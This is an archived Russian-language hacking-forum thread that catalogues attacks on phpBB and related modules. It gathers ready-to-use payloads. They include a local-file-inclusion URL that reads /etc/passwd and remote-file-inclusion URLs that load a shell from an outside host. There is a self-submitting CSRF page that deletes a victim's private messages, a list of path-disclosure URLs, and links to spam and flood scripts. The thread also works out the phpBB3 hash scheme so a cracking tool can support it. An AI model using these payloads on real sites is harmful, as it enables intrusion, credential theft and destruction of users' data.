ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей phpBB] (https://forum.antichat.xyz/showthread.php?t=24488)

Elekt 05.10.2007 09:46

Дополнительное исследование
 

- алгоритм хеширования
поможет вам восстановить исходный пароль по хешу

md5(password)

- время сессии
позволит вам оценить валидность сессии при XSS-атаке

[в разработке]

- содержание хеша пароля в куках
позволит вам получить пароль при успешной XSS-атаке

до phpBB 2.0.18 включительно присутствует содержание хеша пароля в куках

- вход в админку по куке
позволит вам войти в панель администрирования с кукой без знания исходного пароля

до phpBB 2.0.18 включительно возможен вход в админку по куке

- имена таблиц\столбцов sql
позволит вам успешно провести SQL-inj

phpbb_
phpbb2_

- IE security cookie [ setcookie() http_only ]
позволит вам правильно выбрать метод XSS атаки(document.cookie, document.location, TRACE)

[в разработке]

- x-forward-for, client-ip, referer
позволит вам анонимно оставлять сообщения на форуме, проводить XSS-атаку, проводить SQL-inj

Неуязвимы версии выше phpBB 2.0.8

- CSRF(HTTP Response Splitting, Request Forgery)
позволит вам выполнить специфическую XSS-атаку

В phpBB <= 2.0.21 недавно найдена подобная уязвимость - см выше.

1ten0.0net1 06.10.2007 00:18

Флудер форума phpBB

Следующие сторонние наработки для любителей пофлудить:
2.0.21:
_http://www.inj3ct-it.org/exploit/phpbbasf.txt
<=2.0.21:
_http://www.inj3ct-it.org/exploit/phpbb.txt

Cкрипт распознавания captcha в phpbb

Cпам-скрипт для phpBB]

Basurman 27.11.2007 18:11

Как отличить последнюю версию второй ветки (2.0.22) от остальных?
 
2.0.21 или 2.0.22?

Как отличить последнюю версию второй ветки (2.0.22) от остальных? (пост восстановлен)

Очень просто. До последней версии был баг (не инъект!) в лимите во всех скритах, где присутствовал постраничный вывод на экран.
Например, в скрипте viewforum.php, который и рассмотрим.

Определить можно, добавив параметр start=-1 в адресной строке, например, к viewforum.php

То есть, если есть ccылка вида:
http://forum/viewforum.php?f=32

Набираем:
http://forum/viewforum.php?f=32&start=-1

Если вываливается с ошибкой - версия <=2.0.21
Если нет - 2.0.22

Код:

Could not obtain topic information

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 12

SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time FROM topics t, users u, posts p, posts p2, users u2 WHERE t.forum_id = 50 AND t.topic_poster = u.user_id AND p.post_id = t.topic_first_post_id AND p2.post_id = t.topic_last_post_id AND u2.user_id = p2.poster_id AND t.topic_type <> 2 AND t.topic_type <> 3 ORDER BY t.topic_type DESC, t.topic_last_post_id DESC LIMIT -1, 20

Line : 420
File : /xxx/phpbb/viewforum.php

P.S. Все файлы, где есть параметр start можно найти в апдейтере 2.0.22
P.S.S На forums.overclockers.ru стоит не 2.0.22 (ну или сильно криворукий обновляльщик) ;)

ettee 12.01.2008 21:51

Full path disclosure:

profile.php?mode=viewprofile&u=2&ranksrow=abcdabcd
faq.php?mode=bbcode&faq=abcdabcd
viewtopic.php?p=6&highlight=\abcdabcd
admin/admin_disallow.php?setmodules=1
db/oracle.php
viewtopic.php?t=395&postorder[]=kala
memberlist.php?mode[]=cx
memberlist.php?start=-1
privmsg.php?folder[]=
profile.php?mode[]=
posting.php?mode[]=
groupcp.php?mode[]=
modcp.php?mode[]=
index.php?category_rows=aaaa
profile.php?mode=viewprofile&u=2&ranksrow=aaaa
faq.php?faq=aaaa

Solide Snake 13.01.2008 00:34

PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.
 
PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln

Код:

http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]


PNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit


PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit


PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability

Код:

http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

(c)

iddqd 25.01.2008 02:59

phpBB 2.0.22 Remote PM Delete XSRF Vulnerability
 
XSRF Vulnerability

Vulnerable: phpBB 2.0.22

Exploit:

Код HTML:

<html>
<head>
</head>
<body onLoad=javascript:document.xsrf.submit()>

<form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post"
name="xsrf">

<input type="hidden" name="mode" value="" />
<input type="hidden" name="deleteall" value="true" />
<input type="hidden" name="confirm" value="Yes">

</body>
</html>

Атакующий посылает жертве в ПМ ссылку на страницу, содержащую вышеописанный код, и все личные сообщения жертвы будут удалены.

InsidePro 19.02.2008 18:15

Хэши из phpBB3
 
Есть предложение к спецам по PHP - проанализировать исходники phpBB3 (функции хэширования опубликованы здесь:
http://forum.insidepro.com/viewtopic.php?t=1685) и выяснить точный алгоритм хэширования паролей.

А я бы новый модуль написал к PPro. ;)

Basurman 19.02.2008 23:25

Если в 2-х словах (вкратце не получилось):

имеем хеш: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70 (пароль 123456)
соль от него 5MMFvTU4 (8 символов, начиная с 5-го)

Делаем такой цикл: (убрать 2 пробела после ..klmn)
$salt='5MMFvTU4'; $password='123456';
Код:

$settings='$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70';

$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$hash = md5($salt . $password, true);
do
{
        $hash = md5($hash . $password, true);
}
while (--(1 << strpos($itoa64, $setting[3]) ));

Цикл возвращает бинарную строку из 16 символов, сделав много раз сначала функцию md5($salt . $password); затем md5( "предыдущий бинарный хеш" . $password);

Ну, и, наконец, чтобы получить из этого бинарного хеша строку Lm1sASItv4J5HWXk18HW70 (первые 12 символов не в счет, их отбрасываем), прогоняем его через следующую функцию ($input это полученный ранее $hash):
Код:

function _hash_encode64($input, &$itoa64)
{
        $output = '';
        $i = 0;

        do
        {
                $value = ord($input[$i++]);
                $output .= $itoa64[$value & 0x3f];

                if ($i < 16)
                {
                        $value |= ord($input[$i]) << 8;
                }

                $output .= $itoa64[($value >> 6) & 0x3f];

                if ($i++ >= 16)
                {
                        break;
                }

                if ($i < 16)
                {
                        $value |= ord($input[$i]) << 16;
                }

                $output .= $itoa64[($value >> 12) & 0x3f];
               
                if ($i++ >= 16)
                {
                        break;
                }

                $output .= $itoa64[($value >> 18) & 0x3f];
        }
        while ($i < 16);

        return $output;
}

Склеиваем строки в одну ($H$95MMFvTU4 + Lm1sASItv4J5HWXk18HW70). проверяем, радуемся. ВСЕ ;)


Примеры:

$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70:123456
$H$9ZKl5LLDygA/c8AGXcpWk7bRnHQQ.U0:testing
$H$9Uh5EWFcQEmJPaWy/7wsyzMPN4.jS3/:123321

где первые 4 символа $H$9 сигнатура хеша по умолчанию.

$H$9 присутствует всегда, хотя его и можно и менять прямо в коде (я имею ввиду последоватльность $H$)...

Я бы сделал префикс другой ) чтобы никто не догадался
______________________________________
P.S. Этот алгоритм применяется начиная с версии phpBB3 RC5. До этого везде был md5

InsidePro 20.02.2008 19:17

Basurman, спасибо за разъяснения!

Модуль для этих хэшей я написал и он уже доступен в архиве с PPro на моем сайте, файл MD5(phpBB3).dll, 15 кБ.

P.S. Т.к. сигнатура этих хэшей ("$H$") не участвует в хэшировании (в отличие от MD5(Unix), к примеру), то я на всякий случай сделал так, что модуль поддерживает любую сигнатуру.

P.P.S. Еще раз спасибо за помощь!

iddqd 01.03.2008 17:34

Удаленный инклуд в модуле 123 Flash Chat Module for phpBB
 
RFI

Уязвимые скрипты:
PHP код:

path/123flashchat.php      include($phpbb_root_path 'extension.inc'); 
path/123flashchat.php      include($phpbb_root_path 'common.'.$phpEx); 
path/phpbb_login_chat.php  include($phpbb_root_path 'extension.inc'); 
path/phpbb_login_chat.php  include($phpbb_root_path 'common.'.$phpEx); 

Exploit:
Код:

www.site.com/path/123flashchat.php?phpbb_root_path=[shell]
www.site.com/path/phpbb_login_chat.php?phpbb_root_path=[shell]



Время: 10:31